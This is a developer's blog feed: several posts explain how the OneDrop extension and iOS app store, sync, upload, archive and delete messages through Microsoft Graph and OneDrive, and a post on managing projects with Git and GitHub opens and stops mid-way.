Z1gg7x's Blog (English)

How OneDrop Adapts to Each Platform

2026-10-21T12:34:27.000Z

Part one and part two cover how OneDrop stores and syncs messages. This post looks at what the browser extension and native iOS app share, and where they need different implementations. I’m still referring to version 1.0.3.

All the entry points work with the same message model. If each platform implemented merging, deletion tombstones and archiving separately, an edge case would need fixing in several places. Two devices could even interpret the same cloud data differently. OneDrop puts those rules in shared packages and lets each app assemble the pieces it needs.

Directory	Responsibility
`packages/core`	Message, month and settings types; runtime request protocol
`packages/onedrive`	Graph requests, message chunks, archives, tombstones and attachments
`packages/web-storage`	IndexedDB cache, pending sends and download records
`packages/platform`	Platform bridge interfaces and runtime dependencies
`packages/app-runtime`	Authorisation, device, settings and download services
`packages/extension-runtime`	Dispatching background requests and handling extension entry points
`packages/ui`	Shared React UI and interaction state
`apps/edge` , `apps/ios`	Platform-specific assembly and native adapters

The core types don’t need to know about React components, browser download objects or Swift plugins. The UI sends a typed RuntimeRequest and receives a RuntimeResponse . In the extension the request travels over browser.runtime.sendMessage . A component can ask to send text, read a month or restore a message without assembling a Graph URL or an Authorization header.

# Platform capabilities

The same page behaves differently depending on its host. Desktop browsers have a download directory and a “Show in folder” command; mobile devices tend to use the system share sheet. Even browser extension entry points differ in which APIs they expose.

PlatformBridge connects UI requests such as “save this file” to the platform implementation. PlatformCapabilities declares the available operations:

	export type PlatformCapabilities = {
	showInFolder: boolean; // Reveal a file in its system folder
	saveAs: boolean; // Save As
	navigationDownload: boolean; // Download by opening the download URL
	systemFileShare: boolean; // Use the system file share sheet
	};

Alongside request() , the bridge can look up and open downloads, prepare attachments, share files, and copy text or images. The UI offers actions according to those capabilities. On iOS Edge there’s no desktop download manager entry point, but system file sharing is available. The bridge retrieves the attachment, checks that the cached name, size and Blob agree, then prepares a shareable File .

Without a usable cache entry, the bridge reads the response stream and accumulates the number of bytes received so the UI can display progress. It gets the total from Content-Length when available and otherwise uses the attachment size in the message. Once the stream ends, it checks the Blob size, caches the attachment in IndexedDB and constructs the File . It also checks navigator.canShare before invoking system sharing. Preparing the file and opening the share sheet are separate steps.

That’s why the same attachment button can have a different final action. The message and DriveItem mean the same thing across platforms; the way the system receives the file differs. I don’t need to emulate a desktop API on every platform just to make the button look the same.

# Browser extension entry points

The extension uses WXT for development and builds, React for the UI, TypeScript for application logic and Manifest V3 for the extension. Desktop, Android and iOS share the extension code. Desktop opens a side panel, Android opens a separate mobile page and iOS uses an entry point suited to its extension environment. The app layer selects the entry point and bridge, so the shared UI doesn’t need a separate copy of every page.

There’s also a compatibility path for iOS Edge. Even if the browser opens the statically declared side-panel page, the app detects the platform and loads the iOS UI and bridge. The runtime and bridge handle differences such as the missing Identity API during login and the need to share downloads through the system. Shipping one extension package doesn’t make mobile APIs behave like their desktop counterparts.

# Native iOS

The native app uses Capacitor to host the shared React UI in a WebView, a browser view embedded in the app. Native plugins provide access to system features. For login, the OneDropAuth Swift plugin opens the authorisation flow with ASWebAuthenticationSession and stores and retrieves tokens through Keychain. The browser extension described in part one uses browser.storage.local ; on native iOS both the authorisation window and credential storage belong to the plugin.

The shared OneDrive code needs an access token, local state and a way to send events. The app supplies those functions at startup. That’s what dependency injection means here: the business logic calls the supplied functions without repeatedly checking which platform it’s on. The iOS entry point wires up native implementations and forwards message requests to the same shared functions. The native download plugin saves, locates and opens files while the UI continues to work with the same attachment metadata.

Device settings follow the same division. Each installation generates an anonymous UUID and stores its platform, display name and preferences in settings/devices/<device-id>.json . Removing a device from the list removes its settings document. Messages and attachments from that device have a separate lifecycle, described in part two’s deletion and cleanup flow.

For me, OneDrop is still a little tool for passing things between my devices. Once OneDrive took over storage, the recurring questions were about state: when a send counts as complete, what another device sees, what can resume after a failure and what survives deletion. Keeping those rules shared and leaving login, downloads and entry points to each platform gives me a clear place to make the next change.

OneDrop Storage and Multi-Device Sync (Part Two)

2026-10-10T13:16:53.000Z

Part one covered authorisation, the storage layout and file transfers. What happens after a message has been saved? This part follows it through concurrent edits, history, deletion and recovery. The implementation described here is still OneDrop 1.0.3.

# Synchronisation, conflicts and archives

# Reading messages and using the cache

# When a client syncs

Clients pull changes when the interface opens, comes to the foreground, refreshes manually or needs to read data as part of sending. There’s no server of mine continually pushing updates. Once the browser closes, you can’t treat it as an always-online messenger.

On returning to the foreground, the UI checks the time since the previous sync. This avoids rereading the month every time you switch windows. Normal mode checks after 30 seconds, Reduced mode after five minutes. Manual mode doesn’t trigger a sync from this foreground check.

# Reading a month and reusing cached chunks

The client lists files under messages/YYYY-MM , requests 200 items per page, follows @odata.nextLink and reads the chunks in numerical order. The 200-item limit applies to a single listing request. It doesn’t limit the number of messages or chunks in the month. A missing monthly directory is a valid empty state; a failed request is an error. Pagination URLs are checked against the expected Graph API scope.

The cache stores more than the merged list. For each chunk it retains the DriveItem ID, ETag, parsed document and message line numbers. An ETag identifies the version returned by the server. If the version matches and line information is present, the cached document can be reused. Changed chunks are downloaded and parsed, up to three at once. A growing history doesn’t mean downloading every JSON body on every refresh. In the code below, a matching version and complete line information let OneDrop reuse the local record. Otherwise it calls downloadDocument() .

	const downloaded =
	cached?.eTag === item.eTag && cached.messageLines
	? { document: cached.document, messageLines: cached.messageLines }
	: await downloadDocument(item.id, month, accessToken);

After parsing, OneDrop merges by ID, sorts by createdAt and ID, and applies deletion markers from tombstones . Identical records with the same ID collapse to one. Different contents for a single ID produce a conflict record with source files and line numbers so the choice can be resolved later.

# Following an upload in progress

Part one introduced the file-uploading placeholder. Other devices can see it before the attachment finishes. To pick up the final file message promptly, the visible, signed-in UI polls after waits of 2, 5, 8 and 10 seconds, then continues at 10-second intervals. Once the accumulated waits reach 120 seconds it ends the round and marks outstanding placeholders unresponsive. That total counts time spent waiting between requests, excluding the requests themselves.

If the attachment is already stored and the local record is committing , the client retries the final message on the same schedule, stopping at the round limit. An online event attempts those commits again and cleans up placeholders left by failed uploads. This work resumes from local state when the client is running or connectivity returns.

# Loading earlier messages

Scrolling back expands more batches within the loaded months and fetches one earlier UTC month. Each read carries a request version and a local write version; the client checks both before applying the response so a stale read can’t overwrite a newer local action. It also remembers a visible message as a scroll anchor. When older items arrive above it, the message you were reading stays in view.

# ETags and concurrent writes

Reads can merge several chunks, but a write has to protect each chunk against concurrent changes. Suppose A and B both read version v1 . A adds a message and writes successfully. If B now writes back a full JSON document built from its old copy, it can erase A’s message.

# Check the version and retry

When updating an existing chunk, OneDrop sends the ETag it read in If-Match . The server accepts the write only if the version still matches. After A’s update, B’s condition no longer holds.

A changed file can produce 412 Precondition Failed ; competing object creation can produce 409 Conflict . For these responses OneDrop invalidates the cache and retries from the cloud:

	if (response.status === 409 \|\| response.status === 412) {
	await deleteMonthCache(month);
	snapshot = undefined;
	continue;
	}

The next iteration reads a fresh snapshot, merges by message ID and decides where to write. If the ID is already present it returns the existing result, avoiding a duplicate append on a retried send. After five unsuccessful rounds it reports the conflict so the caller can retain the failure state.

A new chunk has no previous ETag, so OneDrop asks Graph to fail if the name already exists. If two devices both try to create 0002.json , one succeeds. The other rereads the month before deciding where to write.

If a directory has been deleted and Graph returns 404, OneDrop clears the corresponding cache and tries to locate the directory again.

# Network failures and local write ordering

A network error has different semantics. The server may have committed the request even if the client never received its response. The write function invalidates the cache and reports the error without automatically replaying the write. A subsequent sync or explicit retry can inspect the message ID to determine what happened.

Within one runtime, a Promise queue serialises modifications to monthly messages. Operations across devices still depend on server-side conditional writes. Keeping the queue at the message-write layer also means a large attachment needn’t block text messages for the entire duration of its upload.

# Chunking and damaged records

# Choosing a chunk

A single ever-growing monthly JSON file would make every append more expensive. OneDrop tries the last active chunk first. If the proposed append exceeds the 256 KiB soft limit, it starts a new chunk. The final document has a separate 320 KB hard limit, and chunk numbers stop at 9999. Exceeding those limits is an error; reaching the numbering limit seems unlikely for message metadata alone.

The soft limit decides when to roll over. The hard limit applies to every final chunk, including a new one or an existing one after a placeholder is replaced. Older chunks remain readable. Committing a file message requires finding the chunk that contains its placeholder, regardless of which chunk is now last.

The code first merges the message into the last chunk to measure the result. If it exceeds the soft limit, OneDrop starts a new chunk and checks its size against the hard limit before writing.

# Corruption and conflicting contents

A read can collect malformed JSON and conflicting records while still displaying the readable remainder. A strict read aborts. Treating invalid JSON as an empty list would lose the distinction between damaged and genuinely empty data.

An ordinary append can proceed while leaving a damaged file untouched. The next chunk number accounts for damaged chunks so their paths won’t be reused. After rereading the remote month, a known conflict for the target message ID blocks the write. The cached fast path means there isn’t a complete remote conflict scan before every write. Archiving is stricter: any damaged source file or conflicting message blocks consolidation.

When two versions have the same ID, silently keeping the last one read could discard the other version. Instead, the user chooses which source to retain. resolveMessageConflict() removes the record from the other source chunks with ETag checks. If another device edits a source in the meantime, the user must recheck it before the earlier decision can be applied.

# Archiving history

# Building and verifying the archive

Once a UTC month has been over for more than 24 hours, OneDrop can consolidate it into archive/YYYY-MM.json . The delay gives end-of-month writes some breathing room. Subsequent history reads can then fetch fewer files. Eligible history reads try the archive first. If there is no archive, the read fails, or it takes more than eight seconds, they fall back to the source chunks. Current tombstones apply to archive reads too.

Creation uses conflictBehavior=fail so an existing archive won’t be overwritten. After writing, OneDrop reads it back and compares the serialised result with the intended document. If an archive already exists, its contents must match the visible source month. Damaged files, unresolved messages or an inconsistent existing archive leave the task blocked.

# Retries and timeout reporting

Task state is persisted locally. cooling-down waits for the next retry, auth-paused waits for authorisation, blocked needs a data problem resolved, and succeeded records success. Ordinary retries wait five minutes, thirty minutes, six hours and then twenty-four hours. Reopening the interface doesn’t immediately repeat a task known to be failing.

After thirty seconds the task can report a timeout. That notification doesn’t cancel the underlying operation. The client still waits for its actual outcome, so a later success can update the task state.

# Source cleanup and recovery limits

A successful archive leaves the monthly source directory in place initially. The task saves a digest of the archive and sets cleanupPending . Cleanup rereads the raw archive and checks that digest before trying to remove the source directory. A failed cleanup can be retried independently.

The check returns early if the archive is missing, there’s no saved digest, or the digest no longer matches.

There is a limitation here: the digest verifies the archive, but the implementation doesn’t check that the source still matches its archived version immediately before deletion. Another device could have changed the source since the archive was created.

The archive also contains visible messages after tombstone filtering. It doesn’t preserve every original deleted record. Cleaning the source directory can therefore remove the only remaining recovery source for a deleted message. Recovery has to check what still exists.

# Deletion, recovery and physical cleanup

# Tombstones and retention

Removing a message from a local array would let the next sync bring it back. Removing it from one chunk still leaves the possibility of a stale writer. OneDrop records deletion separately as a tombstone , and all read paths apply the same deletion state.

A tombstone records messageId , originalMonth , deletedAt and optionally recovery . It’s saved by original month in tombstones/YYYY-MM.json . Monthly and archive reads filter the matching IDs. Hiding a message therefore doesn’t require its attachment and original JSON to disappear at the same instant. The monthly read below fetches the set of deleted IDs and excludes them from the merged result. It leaves the source files in place.

	const deletedMessageIds = await readTombstoneIds(month, accessToken);
	const messages = unfilteredMessages.filter(
	(message) => !deletedMessageIds.has(message.id),
	);

Updating and removing tombstones also use read, merge and conditional write, with up to five attempts on conflict. Otherwise deleting one message on A could overwrite a deletion marker B had just added for a different message.

The deletion action records its recovery policy: disabled, 3, 7, 10 or 30 days, or forever. Finite retention can include an explicit recoverableUntil . For older records without the information, cleanup falls back to ten days after deletion. Disabling recovery makes the record eligible immediately; remote objects still go through the cleanup process.

# The recycle bin and restoring messages

A tombstone stores deletion state, not a full copy of the text or attachment. For the recycle bin, OneDrop reads the raw archive and unfiltered records in the source chunks, merges them and looks for the matching ID. A hidden message can appear there while its original content remains available.

Identical records can merge. Contradictory versions with the same ID don’t count as one unambiguously recoverable message. If the source is gone, the client doesn’t construct a placeholder from the tombstone and present it as recoverable.

Restore checks the tombstone and original again, removes the marker, then clears the monthly cache. If either the tombstone or the original is missing, the restore function returns an error here. Otherwise, the next normal read includes the message. There’s no new message ID or attachment upload.

Retention defines cleanup eligibility; it isn’t an independent backup. A manually removed original or a source lost during archive cleanup can’t be reconstructed from an ID. Even an intact file message doesn’t guarantee the attachment is still there: external operations can move or delete it.

# Cleaning up expired data

# Selecting eligible items

A separate cleanup process removes remote attachments and metadata. Automatic scans run at 24-hour intervals and inspect up to twenty eligible items per round. A manual cleanup skips the normal interval, expiry wait and ordinary round limit. Automatic scans skip permanent retention; disabled recovery is eligible from deletion time. The code below calculates the earliest cleanup time as eligibleAt . Automatic scans skip records that haven’t reached it, while manual cleanup skips that time check.

Before deleting anything, the client reads the source and checks the month implied by the message timestamp. If it can’t identify the record uniquely, it stops processing that item. An absent record alongside a damaged file warrants investigation: an empty set of successfully parsed records doesn’t prove cleanup is complete.

# Checking references and deleting in order

For a file message, the client checks whether another undeleted message in the currently read month refers to the same driveItemId . If it does, it keeps the attachment. Otherwise it locates files/year/month/message-ID , verifies that it’s a folder containing the target DriveItem , and only then deletes that attachment folder. This check doesn’t build a global reference index over all of OneDrive.

After handling the attachment it removes metadata from message chunks or the archive. JSON rewrites use ETags. A change or conflict defers the operation and leaves the tombstone for later. The marker is removed last, once the metadata step is confirmed, and the item is marked complete.

An intermediate state is possible: the attachment is gone but a conditional metadata update hasn’t succeeded yet. A local maintenance queue serialises restore and cleanup on one device; it doesn’t lock every device. A subsequent restore must still recheck its sources.

Two other cases are worth distinguishing.

A failed local send that never reached the cloud can be removed from IndexedDB after confirmation, without creating a cloud tombstone .
A file the user has already downloaded to a system directory is their own copy. Cleaning up its message or deleting its download registration doesn’t delete that local file.

OneDrop Storage and Multi-Device Sync (Part One)

2026-10-06T11:42:08.000Z

My introduction to OneDrop covers the project, installation and future plans. This two-part series looks at the implementation. Here I’ll follow Microsoft account authorisation and the path a text or file message takes through storage, upload and download. Part two covers multi-device sync, conflicts, archives, deletion and recovery.

Using OneDrive saves me from deploying and maintaining a storage service. It still leaves the client responsible for message state. Two devices can edit the same record, an upload can finish before its message commits, and a deletion has to reach other devices. This diagram shows the entry points, shared UI and storage in OneDrop 1.0.3.

# Microsoft accounts and OneDrive authorisation

# The client authorisation flow

OneDrop queries, reads and writes OneDrive files through Microsoft’s API, Microsoft Graph. Both the Edge extension and the standalone iOS app run on the user’s device. Microsoft handles login and file requests. Here “extension” refers specifically to the browser distribution; “client” includes the native app as well.

# Authorisation with PKCE

Requests go directly from the client, so the first step is to get the user’s authorisation. A distributed extension or app can’t keep a server secret confidential. OneDrop uses the authorisation code flow with PKCE. The user signs in and grants consent on Microsoft’s page, then the client exchanges an authorisation code for tokens.

The client generates a random verifier , hashes it with SHA-256 and Base64URL-encodes the digest as a challenge . The authorisation request sends the challenge . The token request later supplies the original verifier alongside the code. The server checks that the digest matches the challenge from this authorisation. Possession of the code alone is insufficient to complete that exchange.

The 64 in the code is the byte count before encoding. The request declares code_challenge_method=S256 . A separate random state is returned unchanged in the callback, allowing the client to match the response to its login attempt. Missing code, mismatched state or an authorisation error stops the exchange.

# Registering the application and setting its configuration

For a custom build, register an application in Microsoft Entra. Entra is where Microsoft manages sign-in and authorisation settings. Registration identifies the application requesting sign-in. Released builds already contain their application configuration; users sign in with their own accounts.

The client needs three settings.

Client ID identifies the application. In Entra ID → App registrations, create or open the application and copy Application (client) ID from Overview. This identifies the registration, independently of the user’s account or password.
Authority selects the sign-in endpoint and account audience. OneDrop defaults to https://login.microsoftonline.com/common . To support work, school and personal Microsoft accounts, the registration must also allow those account types; select the multitenant option that includes personal accounts.
Redirect URI tells Microsoft where to return the result. Register it under Authentication. The URI sent in the request must match. This is a client callback address, unrelated to OneDrive’s file directories.

Desktop Edge supplies extension identity APIs for generating the callback, opening an authorisation window and receiving its result. Android Edge also uses an extension callback but may fail to create the window. In the implementation described here, iOS Edge lacks Identity API and needs a web callback.

When available, browser.identity.getRedirectURL("auth") returns an address such as https://<extension-id>.chromiumapp.org/auth . Before a client ID is configured, OneDrop’s setup screen displays the Redirect URI to register. Copy it from your own installed extension; different packages can have different IDs.

Without that API, the default web callback is https://onedrop.sycamore.top/auth.html , registered as a single-page application (SPA). If you host another callback, change both the local configuration and the Entra registration.

Set the build values in .env.local at the project root:

	WXT_ONEDROP_ENTRA_CLIENT_ID=your-application-client-id
	WXT_ONEDROP_ENTRA_AUTHORITY=https://login.microsoftonline.com/common
	# Web callback for browsers that cannot generate an extension callback URL
	WXT_ONEDROP_TAB_REDIRECT_URI=https://onedrop.sycamore.top/auth.html

Restart the development server and reload the extension after editing. Microsoft documents app registration and client account audiences.

# Requesting permissions

OneDrop includes the following scopes in its login request:

	const SCOPES = [
	"openid",
	"profile",
	"offline_access",
	"https://graph.microsoft.com/Files.ReadWrite",
	] as const;

openid requests identity information so the client can obtain an ID token .
profile requests basic profile details such as the name and username shown in the UI.
offline_access requests a refresh token so an expired access token can be replaced without another interactive login. OneDrive still requires network access.
Files.ReadWrite requests file access on behalf of the signed-in user. Add it under API permissions → Add a permission → Microsoft Graph → Delegated permissions. The application acts as the user rather than independently of one.

Microsoft defines the scopes and the user or organisation must grant them. See the OpenID Connect scope documentation. The delegated file permission extends beyond Apps/OneDrop . The application confines its normal operations to that directory through its own code; creating a folder doesn’t narrow an already granted permission.

# Authorisation window or temporary tab

Desktop Edge prefers browser.identity.launchWebAuthFlow , with a callback from getRedirectURL("auth") . If that API is absent or reports that it cannot create a browser window, OneDrop opens a temporary tab instead. Register the callback actually used by the build.

When launchWebAuthFlow is unavailable, the client persists state , verifier , callback and start time. On a later status check it can see whether the tab reached the callback and finish the exchange.

Interactive login allows the user to act in the sign-in window. Silent login tries to reuse an existing session. Pending authorisation data is retained for five minutes; interactive login waits five minutes and silent login thirty seconds. These limits govern a login attempt, independently of the lifetime of the resulting access token .

# Token roles and storage

The access token authorises Graph requests, the refresh token obtains new access tokens, and the ID token carries identity claims. The extension stores its tokens in browser.storage.local : closing the sidebar can leave the background runtime suspended, so it must be possible to resume without a permanently running process. Native iOS uses Keychain, as described in the platform notes.

# Refreshing tokens and signing in again

getCurrentAccessToken() checks validity before Graph access, allowing a 60-second expiry margin. As expiry approaches, it uses the refresh token to request a new access token . The refreshInFlight ??= in the screenshot lets concurrent callers share that refresh Promise . That avoids duplicate refresh requests and races when saving the responses. The promise is cleared on completion so a future refresh can start.

Ordinary refresh failures return an error. For errors such as invalid_grant or interaction_required , OneDrop first tries silent authorisation with prompt=none . If that also cannot proceed it clears its stored tokens and requests login. Signing out of OneDrop clears its own tokens without signing the browser out of Microsoft.

The UI decodes name and username using readUnverifiedIdTokenClaims . As the name indicates, it reads the fields without verifying the signature locally. These values supply display information, and the username can serve as a silent-login login_hint .

# The Apps/OneDrop directory

Messages, attachments and settings live in one predictable location visible to the user in OneDrive. After obtaining a token the client checks /me/drive/root:/Apps/OneDrop , relative to the signed-in user’s drive root. A 404 indicates a missing directory. It checks and creates each level as needed, first Apps , then OneDrop . Creation fails on conflict; if another device created the folder first, the client rereads it rather than replacing the object. Overwriting an object with the same name could destroy content the other device had already written. Part two uses similar reasoning for writes and archives.

# Storing and transferring text and files

# Separating metadata from attachments

# Cloud layout

Text and files appear in the same message list but are stored differently in OneDrive. Text is small enough to store in JSON. File contents are uploaded separately; their message records store what’s needed to locate and display them. Here’s the layout, using example years and months:

	Apps/OneDrop/
	├── messages/
	│ └── 2026-10/
	│ ├── 0001.json
	│ └── 0002.json
	├── archive/
	│ └── 2026-09.json
	├── files/
	│ └── 2026/10/<message-id>/<original-filename>
	├── settings/
	│ ├── account.json
	│ └── devices/<device-id>.json
	└── tombstones/
	└── 2026-10.json

messages contains active chunks, archive holds consolidated months and files contains attachments. Device settings have separate documents under settings , avoiding a shared rewrite for every preference change. Reads use the ID markers in tombstones to filter deleted messages. UTC month boundaries keep devices in different time zones from assigning the same timestamp to different months.

# Message fields and validation

OneDrop uses Zod to define the message schema and validate the JSON it actually reads. TypeScript types alone can’t check an incoming document. The common fields are the format version schemaVersion , a UUID message identifier id , the creation time createdAt and an optional senderDeviceId . Stable IDs identify the original across retries and merges. The sender device ID distinguishes messages from this installation from messages sent on other devices. It identifies an installation, not the Microsoft account.

	const messageBaseSchema = z.object({
	schemaVersion: z.literal(1),
	id: z.uuid(),
	createdAt: z.iso.datetime(),
	senderDeviceId: z.uuid().optional(),
	});

Text extends the common fields:

	export const textMessageSchema = messageBaseSchema.extend({
	type: z.literal("text"),
	text: z.string().trim().min(1).max(20_000),
	});

The text is trimmed, must remain nonempty and is limited to 20,000 characters. File messages include attachment.driveItemId , filename, size and MIME type, with optional image dimensions and thumbHash . A DriveItem represents a Graph file or folder; a MIME type such as image/png describes its content. The UI can show the name, size and an image placeholder before fetching the object by ID.

Each chunk has its own schemaVersion , month and messages array. Both the chunk and its individual records are validated when read. Users can edit, move or damage files outside OneDrop. Writing a file once doesn’t guarantee it will still match the schema when OneDrop reads it again.

For images the client tries to read the original dimensions and generate a ThumbHash, a compact encoding of a blurred preview. It prefers createImageBitmap , falls back to a local image object, scales proportionally to a longest side of at most 100 pixels and reads RGBA from a temporary canvas. Only the preview canvas is downscaled. The original attachment is uploaded unchanged. If metadata extraction fails the send continues without the optional preview.

# Local pending tasks

Draft text, files waiting to upload, commit state and attachment details needed for retries have to survive a closed UI or a suspended Manifest V3 service worker. OneDrop saves pending text and pending transfer records in IndexedDB, the browser’s local database. A Blob holds the file bytes for retries.

putPendingTransfer() writes a record, getPendingTransfer() retrieves one by ID, and listPendingTransfers() lists them by creation time.

Pending state records work this device still owes. The cloud represents what other devices should see. The UI can show progress early, but sending finishes only after the cloud steps succeed. A retry keeps the message ID so it can recognise an earlier successful commit.

# Sending a file

files/send registers a placeholder, uploads the attachment and then replaces the placeholder with the final file message. The placeholder has type file-uploading and a pendingAttachment , without a final DriveItem ID. Other devices can show it immediately. The final message keeps the same ID.

The attachment goes under files/year/month/message-ID/original-filename , so two messages can carry files of the same name. Once upload returns a DriveItem , replaceMessage() commits type: "file" to the original chunk with an ETag check. The ETag is the server’s version marker: the check makes sure nothing else has modified the target chunk in the meantime. Part two covers concurrent writes in detail.

Failure point	What happens next
Placeholder registration	Try to remove a possibly written placeholder and return `upload-failed` .
Attachment upload fails or is cancelled	Try to remove the placeholder and retain failed local state for follow-up.
Upload succeeds but final commit fails	Return `reconciling` , keep the attachment details and allow a commit retry.

files/retry-commit rebuilds the message from the existing attachment. If the final record already exists it returns it, without uploading again. These are separate writes; a later failure doesn’t roll back an earlier success. The intermediate state tells the client whether to retry the transfer or just the commit.

There’s a month-boundary edge case. Attachment paths use the request’s createdAt , but message writes obtain the target month with getUtcMonth() at call time. A long upload or retry across midnight at month end can separate the two. Version 1.0.3 doesn’t pin one immutable month context across the whole send.

# Upload sessions and chunks

Once you select a file, the UI hands the upload to the runtime on your device. The runtime handles authentication, transfers and storage. Extensions dispatch to the background runtime; the native iOS app uses its own entry point. Small files can be passed as Base64 and written to the target’s /content endpoint using HTTP PUT . Larger files stay as Blobs in shared IndexedDB. The runtime creates a Graph upload session with createUploadSession and sends successive slices to its dedicated URL, avoiding a large Base64 round trip.

# Selecting a transfer method and chunk size

On slower connections, each completed chunk lets the client update the progress bar with the number of bytes OneDrive has accepted. If a chunk fails, only that chunk needs to be retried. Regular chunk sizes use Graph’s 320 KB alignment; the final chunk carries the remainder.

OneDrop chooses 320 KB, 640 KB or 5 MB, respectively one, two or sixteen base units. Non-images larger than 4 MB use 5 MB chunks; other files of at least 1 MB use 640 KB; smaller files use 320 KB. Smaller chunks report progress sooner; larger ones reduce request count.

shouldUseUploadSession() starts using sessions at 320 KB. That threshold is OneDrop’s choice. MAX_DIRECT_FILE_BYTES = 4 * 1024 * 1024 guards the direct upload function and helps select chunk size. Neither value is an overall attachment size limit.

# Validating and submitting chunks

Direct upload checks the decoded byte count against the file size; session upload checks the Blob size. For direct uploads, directory preparation and content transfer each have a twelve-second budget. Otherwise directory requests could use up nearly all the time before the upload even starts. User cancellation and timeout return distinct errors.

Creating the session requires a Graph token. After that the client sends slices directly to uploadUrl with Content-Range: bytes start-end/total . The end is inclusive, hence end - 1 in the code.

A partial upload normally returns 202 Accepted . A saved file returns 200 OK or 201 Created with the resulting DriveItem . The client validates its ID, name and size, constructs the attachment metadata and marks progress complete. If all local chunks have been sent but no completion response arrives, it reports an error. Sending the last byte alone doesn’t establish that Graph saved the file.

# Retrying and recovering progress

Each chunk gets up to three attempts with waits of 500 milliseconds and one second. Although the code lists 429 and several 5xx statuses, errors enter the same catch block and other non-cancellation exceptions can also retry. It doesn’t use Retry-After . Cancellation aborts the current request with AbortController .

A manual resend checks for an existing file at the original path with the same name and size. It can reuse that object, but doesn’t compare content hashes. Progress includes acknowledged bytes, the current chunk end and historical average speed. The UI uses that average to estimate progress. Failing to read or write local speed statistics doesn’t stop the transfer. The loop doesn’t persist the upload URL or offset or query the server for missing ranges after a restart, so closing the program can’t resume the session at its last chunk.

# Downloads and file reuse

# Download addresses and image previews

OneDrop looks up @microsoft.graph.downloadUrl by DriveItem ID, then delegates to the platform. The URL is temporary. The persistent message stores the ID.

For inline image previews it can also read /content , Base64-encode the bytes and embed them in a data URL for the UI. This preview path has a 4 MB limit, checked after reading the content. Ordinary uploads and downloads have separate rules.

# Reusing a download

The desktop extension maps cloud DriveItem IDs to browser download IDs. On reopening, it checks whether the download still exists, finished or was interrupted. It reuses a valid entry and discards a stale one before downloading again. Save As and forced downloads bypass reuse.

openExistingDownload() returns false for a missing record, removed file or interrupted download. An active transfer returns its status; a completed one records the new open operation.

# Confirming completion

browser.downloads.download() receives the URL, filename and options such as whether to show Save As. Its returned downloadId identifies a started browser task. It’s independent of the cloud driveItemId . The client removes control and path characters from filenames and handles name collisions.

It calls browser.downloads.search({ id: downloadId }) to check for in_progress , complete or interrupted . A completed file that still exists can be registered; interruption returns an error. For an active download it adds a browser.downloads.onChanged.addListener() callback, which receives the browser task ID and the properties that changed. OneDrop filters events by ID and queries the full task state again. It removes the listener once the outcome is known.

A download can finish between the first query and listener registration. If the new listener misses that notification, the UI can wait for a download that has already finished. An immediate second query closes that gap. In the code, finish() queries the state and handles the result:

	browser.downloads.onChanged.addListener(onChanged);
	// Check the current download state again after registering the listener.
	void finish();

Only a confirmed completion saves the mapping for reuse. An ordinary download interrupted with FILE_EXISTS gets up to three attempts to find an available name. Save As leaves the failure for the user to handle. A file already saved on the user’s device remains theirs when a cloud message is removed.

At this point messages and attachments are on OneDrive. Part two follows what happens when other devices read and modify them, and how archives and deleted records are maintained.

OneDrop: Sending Text and Files through OneDrive

2026-09-20T12:36:17.000Z

OneDrop is a tool I built so you can send text and files between your devices through your own OneDrive. This post covers why I made it, where it’s available and what I’d like to improve. I left the implementation details for a separate post. I’ve since written them up in part one and part two of my series on storage and sync.

# Why I made OneDrop

I use Edge on pretty much everything. It came with Windows and I got used to it, so even on my Mac and phone I install it and make it my default browser.

Edge’s built-in Drop used to be how I moved things between devices. I used it all the time. When a later version of Edge removed the feature, I wanted to keep that habit going.

I could send files to myself in WeChat, and there’s no shortage of file transfer tools. But most of the time I’m just passing a link, a bit of text or an attachment to another device. Opening a separate app always felt like one step too many. Edge is usually open already. I wanted to be able to send the item right there and get on with what I was doing.

# Why OneDrive

I didn’t want to run a server just to move things between my own devices. The cost and maintenance didn’t make sense for this use.

Since I was building for Edge, using a Microsoft account and OneDrive felt natural. Many Edge users already have an account. You sign in with your own account and the text and files stay in your own OneDrive. There’s no separate storage service for me to maintain.

A Microsoft account includes 5 GB of free cloud storage, shared with other content on the account. That’s normally enough for my snippets and occasional files. If your OneDrive is already pretty full, check the space available first.

# What it’s like to use

Text and file transfers share a single message list. On desktop Edge the extension opens in the sidebar, so I can use it without leaving the page.

That’s the experience I wanted to keep: send something here when I need it on another device, then pick it up there.

You can go back through your message history. I wanted long-term archiving too, so OneDrop could match Drop’s features as closely as possible.

The free 5 GB can fill up. OneDrop lets you delete individual messages and has a recycle bin, so you can keep the records you want and remove the rest. Deleting a message from the list removes its record there. To finish deleting it and reclaim the storage, clear it from the recycle bin too.

# Where it’s available

The desktop extension is available from the Edge Add-ons store.

Mobile installation takes more work. Edge has a submission process for mobile extensions. I submitted the Android and iOS forms, but at the time of writing I hadn’t received a reply to either. The desktop store installation route doesn’t work for them yet.

For early access, the GitHub release includes a CRX package. It requires developer mode and the corresponding test browser: Edge Canary on Android or the TestFlight version of Edge on iOS. The installation guide lists the steps. They don’t carry over directly to stable mobile Edge.

On iOS there’s also an IPA for the native application. It’s intended for import into LiveContainer, which you need to set up first. It isn’t an App Store build or something you can install by tapping the download.

# Rough edges and plans

The hurdle I notice most is still installation on mobile. The desktop version has a store listing, while both a test browser and LiveContainer need extra setup. That’s an awkward first impression for a tool I made to save myself a few steps.

I’ll keep an eye on the mobile extension submissions. I’ve also considered a standalone Android app, but I haven’t set a date. For now I want to get the everyday operations right: sending, viewing and clearing items across devices.

The source is on GitHub. If you have similar habits, the installation requirements are a good place to start. At the time of this post, the project had reached 1.0.3. Most features were in place and had been through an initial round of testing. If you run into anything, leave a comment or open a GitHub issue.

Managing Projects with Git and GitHub

2026-05-21T13:27:18.000Z

Git records versions. GitHub hosts repositories and provides a place to discuss issues and review code. Knowing how to use both is a basic development skill. Pushing code is only one step. A typical change also raises questions about branches, commits, review, automated checks and release. This post follows one change through that process.

# Organising a repository

# What belongs in the README?

When you open a project for the first time, you want to know what it does, what’s working so far, and how to run it. A README should answer those questions up front, then point you to the docs for more detail.

A useful order is introduction, demo, main features, installation or startup, contributing and licence. For a graphical application, one real screenshot often conveys more than a long feature list. Include the prerequisites and commands someone needs to install dependencies and run it.

In my DungeonTavern README, I start with the project and documentation links, show the actual scene, then cover features and startup. Long design notes can live in separate documents. Relative links to files and screenshots continue to work when readers switch branches or download the source.

# Explain usage and contributions

The licence describes permitted uses. A CONTRIBUTING.md can explain environment setup, validation and contribution submission. Link both from the README. Templates make these reports more consistent. An issue template can ask for reproduction steps. A pull request template can ask what changed and how the contributor checked it.

# Exclude files that don’t belong in history

